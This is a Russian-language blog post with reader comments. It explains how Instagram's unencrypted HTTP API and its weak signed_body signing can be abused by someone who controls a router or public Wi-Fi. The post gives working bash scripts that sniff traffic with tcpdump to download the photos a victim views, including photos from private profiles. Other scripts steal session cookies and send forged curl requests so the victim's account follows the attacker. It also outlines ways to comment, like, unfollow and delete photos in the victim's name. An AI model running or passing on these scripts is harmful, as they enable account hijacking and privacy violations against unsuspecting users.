Пользователь
0,0
рейтинг
23 января 2013 в 14:09

Разработка → Как инстаграммить по-черному или следи за печеньками из песочницы



Хэй, имярек, отгадай загадку! Какой стартап был продан в 2012 году за миллиард долларов? В какой очередной соцсети наш запасной президент завел блох в прошлом году? Какая соцсеть попыталась объявить своей собственностью генерируемый юзером контент?

Ага, верно! Сегодня мы поговорим про Instagram.

При всем медийном внимании к Instagram, я нигде не встречал анализа безопасности этого проекта, а там есть что анализировать. Instagram общается по открытому http (!) и если иногда и использует криптографию, то весьма странным образом.

Много подробностей и клевый DIY хак под катом.

Платформа для исследования


В качестве полигона для всех моих экспериментов будет выступать мой домашний роутер Asus rt-n56u с кастомной прошивкой от Padavan и софтом из репозитория Entware. Такой выбор сделан намеренно. Результатом моих копаний стало несколько bash скриптов (ими я поделюсь ниже), которые могут вполне автономно выполнять некоторые вещи из ниже описанного, не привлекая к себе особого внимания.

Кроме того, роутер эмулирует халявный wifi интернет: именно такой может стоять в вашем любимом кафе или у вашего коварного соседа.

Трафик на роутере собирался в сетевую папку с помощью tcpdump

tcpdump –i br0 src <ip телефона> and port 80 –w /opt/tmp/dump.dmp

И отправлялся через сетевую папку в Wireshark на ПК. Восстановить http диалог между клиентом и сервером очень удобной с помощью функции “Follow TCP Stream”.



Для генерации собственных тестовых POST и GET запросов на сервера Instagram я использовал удобный плагин для ФФ – HttpRequester.



Instagram имеет так же бесплатный открытый API для сторонних разработчиков, который работает через https (!), но имеет ряд ограничений, главным из которых является отсутствие возможности публикации инстаграммок. Очень советую поковырять онлаин developer api! Забавная штука…

Протокол обмена информацией


Все общение между клиентом и сервером (кроме аутентификации) происходит в открытом виде с помощью POST и GET запросов.



Недавно в целях усиления безопасности в протокол была добавлена функция signed_body, которая возвращает хитрый HMAC SHA256 хэш передаваемого ей параметра и помещает его в POST запрос в месте с самим параметром (см. скриншот).

К сожалению, мне так и не удалось разгадать алгоритм формирования хэша до того, как Java съела мой мозг. Выдранную из андроидовского apk функцию вместе с фиксированным секретным ключом я залил на pastebin для любознательных. Если кому-то удастся ее разгадать – поделитесь, пожалуйста.

Главным недостатком процедуры формирования подписи signed_body является малый набор переменных в хэшируемой строке. Например, подписанный signed_body комментарий подойдет к любой инстаграмме от имени любого пользователя; а для того, чтобы полайкать фото или его удалить, понадобится один и тот же контрольный хэш media_id.
Рассмотрим теперь самые частые варианты POST запросов на сервер:

###действие#############URL########################параметр signed_body###
Зафоловить(расфоловить) /api/v1/friendships/create(destroy)/{user_id}/ user_id
Прокомментировать /api/v1/media/{media_id}/comment/ comment_text
Удалить комментарий /api/v1/media/{media_id}/comment/{comment_id}/delete/ comment_id, media_id
Лайкнуть(отлайкать) /api/v1/media/{media_id}/like(unlike)/ media_id
Удалить /api/v1/media/{media_id}/delete/ media_id
Media_id формируется как photo_id+”_”+user_id.

Способы применения


Все нижеописанные атаки основаны на допущении, что у вас есть доступ к маршрутизатору или хотя бы к сетевому трафику (например, с помощью passive lan tap).
Начнем с того, что будем в автоматическом режиме скачивать все публикуемые и просматриваемые фотографии пользователя (в т.ч. и из закрытых профилей).

#!/bin/bash

while true
do tcpdump -i br0 port 80 -nn -w - | grep -m 1 -A 1 _7.jpg | awk '{one =$2 ; getline ; print "http://" $2 one ; getline}'| xargs wget -P /opt/tmp/photo
done


Ловим во всем трафике GET запросы файлов _7.jpg (так заканчиваются все инстаграммы большого размера) и скармливаем их wget’у. Фотки будут появляться в папке photo в реальном времени.

Autofollow

Теперь зафоловим свой аккаунт от имени пользователя. Для этого нам нужна только пролетающая беззащитная пользовательская печенька :)

/opt/home/admin # COOKIE=`tcpdump -i br0 port 80 -nn -w - |grep -m 1 ds_user_id= | awk '{print $2$3$4$5}'` /opt/tmp/curl_follow.sh


Ловим весь пролетающий http трафик. Выуживаем пользовательские cookie и чуть причесываем их. Затем отдаем скрипту curl_follow.sh

/opt/home/admin # cat /opt/tmp/curl_follow.sh
#! /bin/bash
curl -X POST \
-H "Connection: Keep-Alive" \
--user-agent "Instagram 3.4.0 Android (17/4.2.1; 240dpi; 480x800; samsung/Samsung; GT-I9100; GT-I9100; smdk4210; en_US)" \
-b $COOKIE \
-d signed_body=08501f85a71be55abfa0d36719f72a27debb2ee769fd2f4ffe086c07ae129f6a.%7B%22user_id%22%3A%2237343536%22%7D&ig_sig_key_version=4" \
instagram.com/api/v1/friendships/create/37343536/


Прелесть этого сценария — возможность автономной работы на маршрутизаторе без вмешательства человека. Настроил, запустил и любуешься на растущий счетчик своих адептов.

Что еще можно сделать?

Оставлять комментарии к любым фоткам от имени пользователя.

1. Прегенирируем нужный комментарий от своего аккаунта на своем телефоне к любой инстаграмме;
2. Поймаем и скопируем поле данных signed_body POST пакета;
3. Собираем свой пакет из cookie пользователя, нашего signed_body и нужного media_id.

Лайкать от имени пользователя определенную инстаграмму

1. Прегенирируем signed_body с нужным media_id;
2. Ловим cookie пользователя;
3. Делаем всё тоже самое, что и в примере с фолловингом.

Можно, конечно, использовать и вот такие темные трюки:

Разфрендить всех френдов
– получить id фоловеров, зафоловить их с левого аккаунта, узнав тем самым signed_body user_id. Расфоловить от имени пользователя, используя перехваченную печеньку.

Удалять инстаграммы пользователя
– получить список media_id пользователя, полайкать от имени стороннего аккаунта, получив тем самым signed_body media_id, удалить используя куки пользователя.

Вместо заключения и выводов, небольшое видео с демонстрацией:

Артем Агеев @merced2001
карма
5,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (34)

  • +8
    Эта уязвимость обсуждается уже пару месяцев, причем без особой реакции Instagram. Лишнее напоминание о том, что публичный Wi-Fi — небезопасная штука.
    • +1
      так понимаю, что они добавили функцию signed_body как раз для защиты от атаки по Вашей ссылке.

      Правда это ничего особо не поменяло…
      • +4
        Нет, эта функция была и раньше. (Честно говоря, сходу не отвечу, почему в описании по моей ссылке о ней ни слова). Если интересно, попробуйте погуглить signed_body, на эту тему было много болтовни.

        А инстаграму уже пора заняться безопасностью, для этого можно нанять несколько человек хоть из команды фейсбука. Ситуация для североамериканского стартапа довольно обычная: до тех пор, пока они распространены в США и Западной Европе, проект может жить со значительным числом дыр и не подвергаться серьезным атакам. Но выход на рынки развивающихся стран сразу же привлечет внимание русских и китайских хакеров, которые проведут хм… подробнейший аудит безопасности :)
        • +2
          И не только аудит…
  • 0
    Я немного недопонял. Эти signed_body и media_id действуют вечно или меняются через пол-часа/при смене IP/действуют только в текущей сессии?
    • +3
      media_id — это идентификатор фотки + идентификатор пользователя. Постоянные величины. Пример: 370914688453536573_179269057

      signed_body — это кастомная хэш функция на базе SHA256. Соответственно хэш от константы есть тоже константа.
      Наверное, в это и есть главный косяк. Если бы аргументом хэш функции был хотя бы еще и session_id — все было бы совсем не так красиво…
      • 0
        Спасибо за объяснение. Так всё оказывается хуже чем я сначала подумал…
      • +1
        Тот же твиттер туда засовывает timestamp. И если он отличается от серверовского более, чем на несколько минут — говорит шиш.
      • 0
        Не могу понять…

        А смысл от signed_body — если пользовательский траффик проходит незашифрованным через Ваш роутер?

        Там же все видно…

        Или надо было signed_body генерировать на основе постоянных данных + случайной строки, которую нужно хранить только на сервере и привязывать к session_id? Даже если так сделать — то все равно вы можете повторить любой запрос, который перехватит ваш снифер
        • 0
          signed_body нужен чтобы сохранить протокол проприетарным (запретить альтернативные клиенты) и ставить палки в колеса спаммерам, добавляя криптографию практически в каждую команду серверу.

          В моих примерах я не повторяю пакеты. Я их собираю из своих прегенерированных signed_body и юзеровских печенек. Если бы signed_body был привязан к сессии, то я не мог бы его подсовывать в чужие пакеты.
          • 0
            Я понимаю, что не в теме… но хочу все же понять:

            У вас же в куки которые вы перехватываете — session_id хранится. Смысл привязывать к сессии signed_body, если можно перехватить session_id через куки?
            • 0
              можно (нужно) кормить хэшфункции какую-нибудь юзерозависимую переменную. Тогда мы не сможем заранее прегенерировать нужный хэш на своем девайсе.

              я пока еще исхожу из условия, что хэшфункция не разгадана (хотя в комментах ниже есть её алгоритм, но его еще нужно проверять). Поэтому даже зная аргументы хэшфункции мы пока что не можем вычислить signed_body самостоятельно.

              • 0
                Мне кажется мы о разном говорим?

                Я имею ввиду, что хеш функция — генерируется на сервере и ею подписываются запросы от пользователя.

                Для каждого session_id — своя хеш функция

                Просто я исхожу из условия, что траффик не шифруется и все заголовки, и в том числе куки — перехвачены.

                Как быть тогда?
                • 0
                  signed_body генерируется на стороне клиента. Но в пакете передается не только хэш, но и исходный «открытый» текст — параметры типа media_id, user_id. Сервер генерирует на основании передаваемых параметров свой хэш и если он совпадает с клиентским — пакет идет дальше.

                  при условии, что алгоритм signed_body остается секретным, функция обеспечивает электронную подпись каждого сообщения и защищает протокол от различных атак.

                  косяк конкретно этой реализации — малое количество входных параметров signed_body. Если бы туда добавляли идентификатор пользователя, время, команду и т.д. — то протокол был бы достаточно стойким (не от прослушивания, но от модификации и подделки запросов от имени пользователя).
                  • 0
                    Ясно, спасибо за ваше время)
                    • 0
                      не за что :) спасибо за Ваши вопросы!
    • 0
      int getRandomNumber()
      {
      return 4; // chosen by fair dice roll
      // guaranteed to be random
      }
  • +2
    остается только найти доступный роутер «трафика Президента», и от его имени писать комментарии к «оттяжным фоткам»
  • +1
    Ненужно в квадрате, как мило.
  • –1
    что за адская картинка, жму в опере копиравать адрес картинки опера виснет. Жму в ие9 и он виснет O_o
    • –1
      видимо дело было в зависшем Aero после ammyy
  • +5
    Любой сервис без https подвержен подобным «атакам», тема стара, как мирИнтернет.
    • 0
      С чего бы? Amazon S3 доступен по обычному http, но просто так из чужих букетов вы ничего не скачаете. Потому что руки прямые, в отличие от «миллиардеров».
      • 0
        Из чужих кого?
        • 0
          Действительно bucket по-русски звучить немного неоднозначно :)
          • 0
            и произносится оно «бакит», если уж на то пошло :)
            Я, честно говоря, не в курсе, как реализована у S3 защита от перехвата трафика на стороне пользователя (например от replay-атак, рассмотренных в данном топике), расскажи вкратце, если несложно.
            • 0
              Ну там все заголовки подписываются ключом пользователя. Так что если перехватить запрос, то можно только повторить тоже самое действие, которое сделал пользователь. Например, если мы перехватили GET, то мы по сути можем скачать только тот же самый файл, а мы его и так можем перехватить, так как данные всё равно открыты. Другое действие (например удалить) вы сделать не сможем. Ну и таймстамп тоже в подписи, так что она протухнет через 15 минут после генерации.
              • 0
                Как происходит обмен ключами и их генерация? PKI или как? Ключ пользователя какой длины и каким алгоритмом создается? Какой у него срок действия?
                • 0
                  Ключ получаешь по https.
  • +7
    Хэш генерируется довольно просто тут:
    1) Ключ берется методом NativeBridge.getInstagramString("a4d1b77bbb1a4a5ca695ad72c84b77e5"); в кодировке UTF-8. Видимо какой-нибудь native функцией судя из названия, хотя мало ли
    2) Алгоритм аутентификации сообщений — HMAC с SHA-256, причем надо заметить интересно они ищут алгоритм по названию… :)
    3) Входными данными для MAC является входной параметр String paramString из generateSignature
    4) Далее хэш преобразуется в BigInteger, хотя зря на мой взгляд: String.format принимает и byte[] в том числе
    5) На выход идет String с hex записью полученного хэша.
  • +4
    Я им писал около 9 месяцев назад об этом. Ответа не последовало. Ок. Залайкал около 20-30 млн фотографий, собрал более 10000 фолловеров и хейтеров. Забанили.
    • 0
      разбанился?
      • 0
        У instagram разбана нет
        • 0
          ну вроде как на яблоке можно файлик с ключами поправить и вперед.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.